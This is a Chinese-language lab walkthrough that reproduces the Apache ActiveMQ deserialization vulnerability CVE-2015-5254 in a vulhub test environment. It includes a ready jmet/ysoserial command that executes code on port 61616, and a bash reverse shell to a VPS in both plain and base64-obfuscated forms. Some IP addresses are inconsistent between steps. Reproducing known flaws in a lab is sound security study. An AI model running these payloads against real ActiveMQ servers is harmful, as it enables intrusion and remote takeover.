Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
利用限制
1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)jdk版本8
17不能使用
192.168.62.131 #靶机
192.168.62.142 #攻击机
192.168.62.143 #vps
#进入vulhub漏洞环境目录
cd /opt/vulhub-master/activemq/CVE-2015-5254/
#启用漏洞环境
docker-compose up -d
访问对应端口
admin/admin
可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
复现
发现目标开放的61616端口上承载apachemq ActiveMQ服务。
#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
执行命令,将有效负载发送到目标IP的61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.62.131 61616
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。
这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.200.30.72:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息
点击event触发
登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建
反弹shell,反弹到vps上
#bash反弹命令
bash -i >& /dev/tcp/192.168.62.143/31005 0>&1 #143是vps
#bash64解码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjAwLjMwLjE2Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}
-c前面是空格
#vps上开启端口监听
nc -lvvp 31005
攻击机执行shell命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYyLjE0My8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.62.131 61616
记住ID号
点击
查看vsp